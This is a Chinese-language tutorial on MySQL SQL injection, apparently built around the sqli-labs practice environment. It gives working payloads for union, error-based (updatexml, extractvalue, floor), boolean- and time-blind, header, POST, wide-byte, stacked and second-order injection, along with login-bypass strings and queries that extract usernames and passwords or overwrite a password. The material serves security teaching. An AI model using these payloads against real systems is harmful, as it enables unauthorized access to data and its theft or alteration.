第一章 MYSQL注入
1.MYSQL基础
1.1.information_schema数据库详解
1.1.1.简介
在mysql5版本以后,为了方便管理,默认定义了information_schema数据库,用来存储数据库元数据信息。schemata(数据库名)、tables(表名tableschema)、columns(列名或字段名)。
1.1.2.schemata表详解
在schemata表中,schema_name字段用来存储用户创建的所有数据库名。
1.1.3.tables表
tables表存储该用户创建的所有数据库的库名和表名,table_schema用来存储该数据隶属于哪个数据库,table_name用来存储表名。
1.1.4.columns表
columns表存储了mysql下的每一个数据表中的所有列名,column_name用来存储字段名、table_name用来存储该字段属于哪一个数据表、table_schema用来存储当前字段所属数据表所在的数据库名称。
1.2.常用sql语句
经常使用的语句
1.show databases; 查看所有的数据库
2.create database test; 创建一个叫test的数据库
3.drop database test;删除一个叫test的数据库
4.use test;选中库 ,在建表之前必须要选择数据库
5.show tables; 在选中的数据库之中查看所有的表
6.create table 表名 (字段1 类型, 字段2 类型);
7.desc 表名;查看所在的表的字段
8.drop table 表名; 删除表
9.show create database 库名;查看创建库的详细信息
10.show create table 表名; 查看创建表的详细信息
查询
1.条件查询
select username,name from user,goods where user,gid=gods,gid;
修改表的命令
1.修改字段类型 alter table 表名 modify 字段 字段类型;
2.添加新的字段 alter table 表名 add 字段 字段类型
3.添加字段并指定位置 alter table 表名 add 字段 字段类型 after 字段;
4.删除表字段 alter table 表名 drop 字段名;
5.修改指定的字段 alter table 表名 change 原字段名字 新的字段名字 字段类型
对数据的操作命令
1.增加数据(insert)3种方式
insert into 表名 values(值1,值2,...)(很少用)
insert into 表名(字段1,字段2...) values(值1,值2,....);(较常用)
insert into 表名(字段1,字段2...) values(值1,值2,....),(值1,值2,....),(值1,2,....);
2.删除数据(delete) delete from 表名 where 条件 注意:where 条件必须加,否则数据会被全部删除
3.更新数据(update) update 表名 set字段1 = 值1, 字段2 = 值2 where 条件
4.查询数据(select)
查询表中的所有数据 select * from 表名
指定数据查询 select 字段 from 表名
根据条件查询出来的数据 select 字段 from 表名 where 条件 (最常用的)
where 条件后面跟的条件关系:>,<,>=,<=,!= 逻辑:or, and 区间:id between 4 and 6 ;闭区间,包含边界
5.排序
select 字段 from 表 order by 字段 排序关键词(desc | asc) desc 降序 asc 升序(默认)
多字段排序
select 字段 from 表 order by 字段1 desc |asc,...字段n desc| asc;
6.常用的统计函数 sum,avg,count,max,min只分组:select * from 表 group by 字段
分组统计: select count(sex) from star group by sex;
7.分组 select * from 表名 limit 偏移量,数量说明:
DCL 数据控制语言
1.创建用户:create user'xiaoming'@'localhost' identified by '666666';
2.授权用户:grant all on test.*to'xiaoming'@'localhost';
3.刷新权限:flush privileges;
4.取消授权:revoke all on test.* from 'xiaoming'@'localhost';
5.删除用户: drop user'xiaoming'@'localhost';
1.3.常用函数
1.3.1.基本函数
函数 | 作用 |
---|---|
version() | 查看mysql数据库版本 |
user() | 查看数据库用户名 |
database() | 查看当前数据库名称 |
@@basedir | 查看数据库安装路径 |
@@datadir | 查看数据库文件存放路径 |
@@version_compile_os | 用来查看操作系统版本 |
mysql中需要注意的是@表示用户自定义变量,@@表示系统变量。
1.3.2.union联合注入函数
1.3.2.1.concat()
用来拼接字符串,直接拼接,字符串之间没有符号。
语法格式:concat(字符串1,字符串2,...)
mysql> select concat('ro','ot','admin');
+---------------------------+
| concat('ro','ot','admin') |
+---------------------------+
| rootadmin |
+---------------------------+
1 row in set (0.00 sec)
1.3.2.2.concat_ws()
可以指定符号拼接字符串。
语法格式:concat_ws('拼接符号','string1','string2')
mysql> select concat_ws('~','admin','123456');
+---------------------------------+
| concat_ws('~','admin','123456') |
+---------------------------------+
| admin~123456 |
+---------------------------------+
1 row in set (0.00 sec)
1.3.2.3.group_caoncat()
指定符号拼接字符串。
语法格式:concat_ws('string1','拼接符号','string2')
mysql> select group_concat('admin','/','123456');
+------------------------------------+
| group_concat('admin','/','123456') |
+------------------------------------+
| admin/123456 |
+------------------------------------+
1 row in set (0.00 sec)
1.4.MYSQL中的注释符
# 单行注释 注意与 url 中的#区分,常编码为%23
--空格 单行注释 注意为短线短线空格
/*()*/ 多行注释 至少存在俩处的注入 /**/常用来作为空格
1.5.默认的语言搭配的数据库
组合类型asp + access/mssql
组合类型php + mysql
组合类型aspx+mssql
组合类型jsp +mysql/oracle
组合类型Python + MongoDB
1.6.常见数据库默认端口号
关系型数据库
mysql 3306
sqlserver 1433
oracle 1521
psotgresql 5432
非关系型数据库
MongoDB 27017
Redis 6379
2.SQL注入基础
2.1.动态网站工作流程
2.2.SQL注入漏洞成因
发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。
2.3.sql注入漏洞产生的必要条件
1.参数用户可控:从前端传给后端的参数内容用户可以控制
2.参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库执行
2.4.漏洞危害
1.获取网站服务器中的数据
2.写入木马获取shell
3.网页篡改
4.添加恶意账户
5.权限提升后安装后门远控服务器
2.5.SQL注入分类
2.5.1.数据类型分类
数字型
字符型
搜索型
2.5.2.提交方式
GET型
POST型
http头
user-agent:判定用户使用的操作系统,以及使用的浏览器的版本
xff:是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
referer:浏览器向web端表明自己从哪个连接而来
host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
cookie:判定用户的身份,进行session跟踪可以存储在用户本地终端上的数据,简单理解为用户的一 张身份辨别卡
client-ip:数据库保存客户端IP的参数
2.5.3.注入手法
union联合注入
盲注——>布尔盲注、时间盲注、DNSlog注入
报错注入——>闭合符报错注入、报错函数(updatexml、exp、floor)
异或注入
二次注入
宽字节注入
堆叠注入
2.6.判断注入点
2.6.1.老办法
?id=1 and 1=1 页面正常
?id=1 and 1=2 页面不正常
2.6.2.新办法
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 页面正常
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 页面不正常
2.6.3.字段判断
2.6.3.1.数字型
and 1=2--+
2.6.3.2.字符型
'and 1=2--+
"and 1=2--+
)and 1=2--+
')and 1=2--+
")and 1=2--+
"))and 1=2--+
2.6.3.3.万能密码
在遇到登录绕过的时候,就能够使用到万能密码。
"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or'a'='a
"or"="a'='a
'or''='
1'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 1=1
'OR 1=1%00
判断上面类型的注入,–+可以用#替换,url 提交过程中 Url 编码后的#为%23,–+或#的作用是用于结束后面的语句执行。
判断字符型和数字型,数字and 1=2 是能够进行计算的所以1=2是不成立的返回错误,若返回正确则是字符型,具体字符型需要如何闭合,就需要进行测试。
为什么万能密码是在用户名处填写,而不在密码处填写?
密码不能以明文方式存储,程序一般会对密码部分进行md5加密等处理,所以无法起到实际效果。
2.7.低和高版本的注入区别
mysql 5.0以下为低版本,5.0以上为高版本(有information_schema数据库)这个数据库是存储所有数据库名,表名,列名,相当于可以通过查询这个数据库获取指定数据库下面的表名列名信息。数据库中"."代表下一级,如haha.user表示haha数据库下的user表名。
2.8.SQL注入步骤
判断注入点-->判断类型-->构造闭合-->获取数据库信息-->获取表名-->获取列名-->获取数据库字段名
3.union联合注入
3.1.原理
联合注入是回显注入的一种,也就是说联合注入的前提条件就是需要页面上有回显位。联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的列数要相同,不然会出现报错。
需要注意进行联合查询注入时的两个关键前提条件:
1、union select 查询的列数要和它之前的语句返回的列数相同(重点)
2、每列的数据类型要相同
3.2.联合查询注入思路
判断注入点-->判断类型-->构造闭合-->判断列数-->判断显示位-->获取数据库信息-->获取表名-->获取列名-->获取数据库字段名
3.3.数字型联合注入
3.3.1.判断注入类型
?id=1 and 1=1--+ 正常
?id=1 and 1=2--+ 不正常
由此可以判断此处为数字型注入。
3.3.2.判断列数
?id=1 order by 5 --+ //Unknown column '5' in 'order clause',说明不存在第五列
?id=1 order by 3 --+ //页面回显正常,说明只有3列
3.3.3.判断显示位
?id=-1 union select 1,2,3 --+
由此说明显示位是2和3。
3.3.4.获取数据库信息
?id=-1 union select 1,version(),database() --+
3.3.5.获取表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
3.3.6.获取列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
3.3.7.获取字段值
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
3.4.字符型联合注入
3.4.1.判断注入点
?id=1 and 1=1--+ 正常
?id=1 and 1=2--+ 正常
?id=1' and 1=1 --+ 正常
?id=1' and 1=2 --+ 不正常
'、"、%、')、")、}等,具体需要进行测试。
3.4.2.判断闭合符
?id=1 and 1=1--+ 正常
?id=1 and 1=2--+ 正常
?id=1' and 1=1 --+ 正常
?id=1' and 1=2 --+ 不正常
?id=1" and 1=1--+ 页面正常
?id=1" and 1=2 --+ 页面正常
综上判断闭合符为单引号
3.4.3.判断列数
?id=1' order by 4--+ // Unknown column '4' in 'order clause'
?id=1' order by 3--+ //页面回显正常,说明是3列
3.4.4.判断显示位
?id=-1' union select 1,2,3 --+
3.4.5.获取数据库信息
?id=-1' union select 1,version(),database() --+
3.4.6.获取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
3.4.7.获取列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
3.4.8.获取字段值
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
4.报错注入
4.1.报错注入原理
报错注入就是利用了数据库的某些机制,人为的制造错误的条件,使得查询的结果能够出现在错误的信息中。
4.2.报错注入函数
floor、updatexml、extractvalue、exp、geometrycollection()、multipoint()
4.3.floor报错注入
4.3.1.原理
floor报错注入是利用数据库表主键不能重复的原理,使用group_by分组,产生主键冲突,导致报错。要保证floor报错注入,那么必须保证查询的表必须大于三条数据,并且mysql版本需满足大于5.0小于8.x的条件。
4.3.2.函数详解
floor():向下取整,例如select floor(1.7),返回1
rand():返回一个0~1的随机数,如果是rand(0)或rand(1),则每次执行的结果是相同的
COUNT(*):返回值的条目,与count()的区别在于其不排除NULL,count()如果统计到NULL,返回的结果即为NULL。
group by(): 语句用于结合聚合函数,根据一个或多个列对结果集进行分组。
使用如下:
select count(*),floor(rand(0)*2) x from ceshi group by x;
4.3.3.注入实战
4.3.3.1.获取数据库信息
?id=-1' union select 1,count(*),concat(0x23,(select database()),0x23,floor(rand()*2)) as a from information_schema.columns group by 3--+
4.3.3.2.获取表名
?id=-1' union select 1,count(*),concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x23,floor(rand()*2)) as a from information_schema.columns group by 3--+
4.3.3.3.获取列名
?id=-1' union select 1,count(*),concat(0x23,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x23,floor(rand()*2)) as a from information_schema.columns group by 3--+
4.3.3.4.获取字段值
?id=-1' union select 1,count(*),concat(0x23,(select group_concat(username,'/',password) from users),0x23,floor(rand()*2)) as a from information_schema.columns group by 3--+
4.4.updatexml报错注入
4.4.1.原理
MYSQL5.1.5版本中添加了对xml文档进行操作的函数,其中,extractvalue函数可以对xml文档进行查询,updatexml函数可以对xml文档进行更新。updatexml函数语法格式如下:
updatexml(XML_document,Xpath_string,new_value)
xml_document:xml_document是string型数据,是目标xml文档的文件格式;
xpath_string:是xml文档路径,即xml中的位置是可操作的地方,xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果我们写入其他格式,就会报错,并且返回我们写入的非法格式内容;
new_value:是string型数据,用于替换查找到的符号条件的数据
4.4.2.注入实战
4.4.2.1.获取数据库信息
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
4.4.2.2.获取表名
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
4.4.2.3.获取列名
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
4.4.2.4.获取字段值
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,'@',password) from users),0x7e),1) --+
此处内容较多,无法直接爆出,建议添加limit子句进行注入。
4.5.extractvalue报错注入
4.5.1.原理
extractvalue函数可以对xml文档进行查询,extractvalue注入也是一种报错注入,它与updatexml注入的原理一样,也是利用函数中第二个参数xpath_string的报错进行注入。
4.5.2.注入payload
?id=1' and extractvalue(1, concat(0x7e, (select version()),0x7e))--+
?id=1' and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+
?id=1' and extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))--+
?id=1' and extractvalue(1, concat(0x7e, (select group_concat(username,'@',password) from users),0x7e))--+
4.6.exp报错注入
4.6.1.函数介绍
exp(x) 返回值e(自然对数的底)的x次方。
select exp(2);
4.6.2.原理
当输入x的值大于709就会出现数据过大溢出报错。此函数的报错注入利用条件是5.5<mysql版本<5.6。
4.6.3.注入payload
exp(~(select * from (注入代码) a)) 这里 '~' 是取反的意思,a 是取别名的意思。
sqli-labs靶场会注入失败
?id=1' and (exp(~(select * from (select database()) a)))
5.盲注
5.1.布尔(bool)盲注
5.1.1.原理
程序员在开发过程中,隐藏了数据库的内建报错信息,并替换为通用的错误提示,那么SQL注入将无法依据报错信息判断注入语句的执行结果,这就是“盲”的意思。
布尔盲注就是盲注的一种,与报错注入不同,bool注入没有任何报错信息输出,页面返回只有正常(true)和不正常(false)两种状态,攻击者只能通过返回的这两个状态来判断输入的SQL注入测试语句是否和自己输入的值一致,从而判断数据库中存储了哪些信息。
5.1.2.布尔盲注步骤
求数据库名的长度及ASCII->求当前数据库表的ASCII->求当前数据库表中的个数->求数据库中表名的长度->求数据库中表名->求列名的数量->求列名的长度->求列名的ASCII->求字段的数量->求字段的长度->求字段内容ASCII
5.1.3.布尔盲注常用函数
5.1.3.1.substr()截取函数
语法:substr(str,start,length)
第一个参数str为被截取的字符串。
第二个参数start为开始截取的位置。
第三个参数length为截取的长度。
如:substr(user(),1,1),从user中返回的数据的第一位开始偏移位置截取一位,后续需要获取其他的数据只需要修改参数即可。
5.1.3.2.left()截取函数
语法:left(str,length)
第一个参数str为被截取的字符串。
第二个参数length为截取的长度。
如:left(user(),2),从user中返回的数据中截取前两位。
5.1.3.3.right()截取函数
语法:rigth(user(),2)
参考left()函数用法。
5.1.3.4.length()计算函数
语法:length(str)
第一个参数str为字符串。
如:length(admin)返回就是5。如果不是放某个字符串,放置表达式的时候,需要使用括号括起来。
5.1.3.5.ord()转换函数
语法:ord(str)
参考ascii()函数用法。
如果存在没写到的函数,但是使用了,可以自行搜索。
5.1.4.ASCII表
https://jisuan5.com/ascii/
5.1.5.布尔盲注实战
5.1.5.1.判断闭合符
Less-8/?id=1 and 1=1 --+ 正常
Less-8/?id=1 and 1=2 --+ 正常,因此证明并非数字型注入
Less-8/?id=1' and 1=1 --+ 正常
Less-8/?id=1' and 1=2 --+ 不正常,说明此处存在注入点,同时闭合符为单引号
5.1.5.2.判断数据库版本
?id=1' and left(version(),1)=5--+ 正常,说明版本5.x
5.1.5.3.猜测数据库名长度
首先数据库名长度判断是否小于5,此时页面回显错误,说明条件不成立;再判断是否小于9,此时显示正常,说明长度介于5~9之间;再次使用二分法,判断是否大于7,此时页面回显正常,说明数据库长度大于7小于9,必然是8,然后使其等于8进行判断,页面正常,判断成功。
?id=1' and length(database())=8 --+
5.1.5.4.判断数据库名
?id=1' and ascii(substr(database(),1,1))>100 --+ 页面正常
?id=1' and ascii(substr(database(),1,1))<120 --+ 页面正常
?id=1' and ascii(substr(database(),1,1))<110 --+ 不正常
?id=1' and ascii(substr(database(),1,1))>110 --+ 页面正常
?id=1' and ascii(substr(database(),1,1))=115 --+ 页面正常
获取到字符的ascii码值后查询ascii表即可得到结果为s,继续使用此方法判断后7个字符就可以得到数据库的名称。
?id=1' and ascii(substr(database(),2,1))=101 --+ 正常结果e
?id=1' and ascii(substr(database(),3,1))=99--+ 正常结果c
?id=1' and ascii(substr(database(),4,1))=117--+ 正常结果u
?id=1' and ascii(substr(database(),5,1))=114--+ 正常结果r
?id=1' and ascii(substr(database(),6,1))=105--+ 正常结果i
?id=1' and ascii(substr(database(),7,1))=116--+ 正常结果t
?id=1' and ascii(substr(database(),8,1))=121--+ 正常结果y
5.1.5.5.猜测表的数量
?id=1' and (length((select table_name from information_schema.tables where table_schema='security' limit 4,1)))>0--+ 页面不正常
?id=1' and (length((select table_name from information_schema.tables where table_schema='security' limit 3,1)))>0--+ 页面正常,说明存在4个表
5.1.5.6.猜测表名的长度
猜测第一个表:
?id=1' and (length((select table_name from information_schema.tables where table_schema='security' limit 0,1)))<7--+ 正常
?id=1' and (length((select table_name from information_schema.tables where table_schema='security'
limit 0,1)))>5--+ 正常,说明长度大于5小于7,表名的长度为6
猜测第二个表:
?id=1' and (length((select table_name from information_schema.tables where table_schema='security' limit 1,1)))=8--+
猜测第三个表:
?id=1' and (length((select table_name from information_schema.tables where table_schema='security' limit 2,1)))=7--+
猜测第四个表:
?id=1' and (length((select table_name from information_schema.tables where table_schema='security' limit 3,1)))=5--+
5.1.5.7.猜测表名
猜测第一个表名的第一个字符:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
5.1.5.8.猜测表的列数
?id=1' and (length((select column_name from information_schema.columns where table_name='users' limit 2,1)))>0--+ 页面正常
?id=1' and (length((select column_name from information_schema.columns where table_name='users' limit 3,1)))>0--+ 页面不正常
5.1.5.9.猜测列名长度
?id=1' and (length((select column_name from information_schema.columns where table_name='users' limit 0,1)))=2--+ 正常
?id=1' and (length((select column_name from information_schema.columns where table_name='users' limit 1,1)))=8--+ 正常
?id=1' and (length((select column_name from information_schema.columns where table_name='users' limit 2,1)))=8--+ 正常
5.1.5.10.猜测列的名
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=100--+
5.1.5.11.猜测字段名的长度
?id=1' and (length((select username from users limit 0,1)))=4--+
5.1.5.12.猜测字段名
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68--+ 结果为大写的D
其余结果依次类推即可。
5.2.时间(sleep)盲注
5.2.1.原理
时间盲注与布尔注入不同,时间盲注没有任何报错信息输出,页面返回不管对或错都是一种状态,攻击者无法通过页面返回状态来判断输入的SQL注入测试语句是否正确,只能通过构造sleep注入的SQL测试语句,根据页面的返回时间来判断数据库中存储了哪些信息。
基于时间的盲注则是使用if语句来进行判断数值,不符合判断条件则执行sleep语句。从而造成页面的响应时间变长,根据页面的响应时间来判断。
5.2.2.常用函数
sleep函数可以使执行挂起一段时间,例如select sleep(10),程序执行了10s。
mysql> select sleep(10);
+-----------+
| sleep(10) |
+-----------+
| 0 |
+-----------+
1 row in set (10.00 sec)
If(expr1,expr2,expr3)的效果类似于编程语言中常见的三元运算符。如果expr1为真(不等于0且不等于null),返回expr2,否则返回expr3。例如运行select if(0>1,'true','false'),0>1为假,则返回false
mysql> select if(0>1,'true','false');
+------------------------+
| if(0>1,'true','false') |
+------------------------+
| false |
+------------------------+
1 row in set (0.00 sec)
将上述两个函数结合使用:
mysql> select if(0>1,sleep(5),sleep(10));
+----------------------------+
| if(0>1,sleep(5),sleep(10)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (10.00 sec)
结果显示程序执行了10s,则说明0>1为假
5.2.3.时间盲注实战
5.2.3.1.判断闭合符
Less-10/?id=1' and if(1=1,sleep(10),1) --+ 没有延时,条件不执行
Less-10/?id=1' and if(1=2,sleep(10),1) --+ 没有延时,条件不执行
Less-10/?id=1" and if(1=1,sleep(10),1) --+ 延时10s,条件成功执行
Less-10/?id=1" and if(1=2,sleep(10),1) --+ 没有延时,条件没有执行
由此判断出闭合符为"。
5.2.3.2.判断数据库版本
?id=1" and if(left(version(),1)=5,sleep(10),1)--+
5.2.3.3.获取数据库名长度
?id=1" and if(length(database())=8,sleep(10),1)--+
5.2.3.4.判断数据库名
?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
?id=1" and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+
5.2.3.5.猜测数据库表的数量
?id=1" and if((select count(table_name) from information_schema.tables where table_schema = database())=4,sleep(5),1)--+
5.2.3.6.猜测数据库表的长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8,sleep(5),1)--+
5.2.3.7.猜测数据库表名
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(5),1)--+
5.2.3.8.猜测列名
?id=1' and if(ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(5),1)--+
5.2.3.9.猜测某字段数据的长度
?id=1' and if((select count(username) from users)=14,sleep(5),1)--+
?id=1' and if(length((select username from security.users limit 0,1))=4,sleep(5),1)--+
?id=1' and if(length((select password from security.users limit 1,1))=5,sleep(5),1)--+
5.2.3.10.猜测某字段数据的名
?id=1' and if(ord(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1)--+
?id=1' and if(ord(substr((select password from security.users limit 1,1),2,1))=100,sleep(5),1)--+
6.HTTP头注入
6.1.HTTP头部注入基本概念
6.1.1.原理
后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(例如:User-Agent、Accept字段等),会对客户端HTTP Header 进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。
6.1.2.常见HTTP头部注入类型
Cookie:网站为了辨别用户身份、进行session跟踪而存储在用户本地终端上的数据。
User-agent:使服务器能够识别客户端使用的操作系统,浏览器版本等。
Referer:浏览器向web服务器表名自己是从哪个页面过来的。
X-forwarded-for:简称xff头,它代表客户端(即http的请求端)真实IP。
6.1.3.HTTP头注入条件
能够对请求头消息进行修改,修改请求头信息能够带入数据库执行,数据库没有对输入的请求头做过滤。
6.2.user-agent注入实战
6.2.1.判断注入点
通过页面登录发现有返回的user-agent信息,可以通过抓包对其进行注入测试。
6.2.2.判断是否存在报错
通过抓包后在user-agent的值后面添加干扰字符\进行测试,发现能够出现报错的信息。
说明此处存在注入点。
6.2.3.使用报错语句进行测试
User-Agent:' and updatexml(1,0x7e,3) and '1'='1
6.2.4.获取数据库名
User-Agent:' and updatexml(1,concat(0x7e,database()),3) and '1'='1
6.2.5.获取数据库表名
User-Agent: 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3) and '
6.2.6.获取列名
User-Agent: ' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3) and '
6.2.7.获取字段值
User-Agent: ' and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3) and '
User-Agent: ' and updatexml(1,concat(0x7e,(select password from users limit 0,1 )),3) and '
6.3.referer注入
6.3.1.判断注入点
通过页面登录发现有返回的referer信息,可以通过抓包对其进行注入测试。
6.3.2.判断是否存在报错
通过抓包后在referer的值后面添加干扰字符进行测试。发现能够出现报错的信息。
6.3.3.使用报错语句进行测试
'and updatexml(1,0x7e,3)and '1'='1
6.3.4.获取数据库名
Referer: 'and updatexml(1,concat(0x7e,database()),3) and '
其余步骤与user-agent一致,不再演示。
6.4.cookie注入
6.4.1.判断注入点
从原理我们可知Cookie是保存服务器返回数据的字符串,所以我们要抓的包是返回包。输入一个正确的用户名密码,得到一个返回页面,刷新页面抓包,抓到的就是返回包。发送到Repeater模块,send查看效果。
6.4.2.判断是否存在报错
通过抓包后在Cookie的值后面添加干扰字符进行测试。发现能够出现报错的信息。
6.4.3.获取数据库名
Cookie: uname=admin' and updatexml(1,concat(0x7e,database()),3)#
后续步骤参考user-agent即可。
6.5.cookie编码注入
6.5.1.判断注入点
登录成功后发现cookie值被进行了base64编码加密,所以此关卡我们需要使用base64进行编码注入。
6.5.2.判断是否存在报错
添加单引号后进行base64编码,然后点击send发现存在报错。
6.5.3.获取数据库名
Cookie: uname=admin') and updatexml(1,concat(0x7e,database()),3)# 进行base64编码
7.POST型注入
7.1.POST注入基本概念
7.1.1.原理
数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次post的过程的。
7.1.2.POST注入前提
用户能够控制输入,原本程序要执行的代码,拼接了用户输入的数据。
7.1.3.post注入高危点
登录框、查询框、等各种和数据库有交互的框。
7.2.案例
7.2.1.判断注入点
bp抓包,然后添加干扰符测试即可。uname处发生报错,注入点在uname处。
7.2.2.判断列数
uname=admin' order by 2--+&passwd=123456&submit=Submit
7.2.3.判断显示位
uname=-admin' union select 1,2--+&passwd=123456&submit=Submit
7.2.4.获取数据库名
uname=-admin' union select 1,database()--+&passwd=123456&submit=Submit
其他步骤和和get型注入一致,也可用报错函数和盲注进行注入。此处不再赘述,只要理解原理和利用思路即可。
8.SQL注入进阶
8.1.宽字节注入
8.1.1.简介
宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合,进行注入攻击。
8.1.2.原理
mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)php的魔术引号(magic_quotes_gpc)开启,会在特殊字符(比如 ’ , " , \ , null)前面加 \ ,导致闭合失败。
PHP5.4.0及其之后PHP版本取消了魔术引号,之后转义都需要加上addslashes函数 (stripslashes删除反斜杠)
8.1.3.实战
8.1.3.1.判断注入点
http://192.168.1.80/sqli-labs/Less-33/?id=1'
内容出现了反斜杠进行了转义,同时还会将查询的字符转化为16进制输出,这里就可以想到使用宽字节注入进行尝试。
?id=1%df' and 1=1 --+ 页面正常
?id=1%df' and 1=2 --+ 页面不正常
同时也证明了闭合符为单引号。
8.1.3.2.判断列数
?id=1%df' order by 4--+ 页面显示Unknown column '4' in 'order clause'
?id=1%df' order by 3--+ 页面正常,证明只有3列
8.1.3.3.判断显示位
/?id=-1%df' union select 1,2,3--+
8.1.3.4.获取数据库信息
?id=-1%df' union select 1,version(),database()--+
8.1.3.5.获取表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
payload如果写成…tabe_ schema=’ security’,此处的单引号也会被加上转义符而无法带入执行,这里需要将字符串 security转换成16进制编码,即0x7365637572697479其中0x73、0x65、0x63、0x75、0x72、0x69、0x74、0x79分别是小写字母s、e、c、u、r、i、t、y的16进制编码。
8.1.3.6.获取列名
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
8.1.3.7.获取字段值
/?id=-1%df' union select 1,2,group_concat(username,0x7e,password) from users--+
8.2.堆叠注入
8.2.1.原理
堆叠注入从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用,这就说堆叠注入。
8.2.2.联合查询注入与堆叠注入区别
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。堆叠注入即可以执行查询语句,也可以执行更新、删除、插入语句,所以堆叠注入的危害更高。
8.2.3.堆叠注入的局限性
堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。
8.2.4.堆叠注入的前提
目标存在sql注入漏洞,目标未对";"号进行过滤,目标中间层查询数据库信息时可同时执行多条sql语句。
8.2.5.堆叠注入实战
8.2.5.1.判断注入点
?id=1' and 1=1--+ 页面正常
?id=1' and 1=2--+ 页面不正常
8.2.5.2.更新用户密码
Less-38/?id=1';update users set password='123456' where id=1;--+
关于如何获取到表名等信息可以去使用报错注入等方式获得,此处只做一个简单的演示即可。重点在于理解堆叠注入的原理。
8.3.二次注入
8.3.1.原理
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身就包含恶意内容;在将数据存入到了数据库中之后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,就会造成二次注入。
8.3.2.二次注入实战
8.3.2.1.注册用户插入恶意数据
点击页面的【New User click here?】注册新用户,注册用户时,注释符用#或者–+都可,但是–+有可能存在后期登录不成功的情况。
8.3.2.2.修改密码
http://192.168.103.132/sqli-labs/Less-24/logged-in.php
登录admin’#账户,并修改admin’#账户的密码。
此时发现admin账户的密码被修改为了456789。
8.4.DNSlog注入
8.4.1.dnslog简介
Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.com、t00ls.com.等的访问信息。
8.4.2.dnslog原理
注册了一个为a.com的域名,我将他a记录解析到10.0.0.0上,这样就实现了无论我记录值填什么他都有解析,并且都指向10.0.0.0,当我向dns服务器发起test.a.com的解析请求时,DNSlog中会记录下他给test.a.com解析,解析值为10.0.0.0。(通俗来讲就是我们申请一个dnslog的平台,当我们盲注的时候把想要的数据和平台给的地址拼接起来,dnslog平台就会把请求的记录显示出来。)
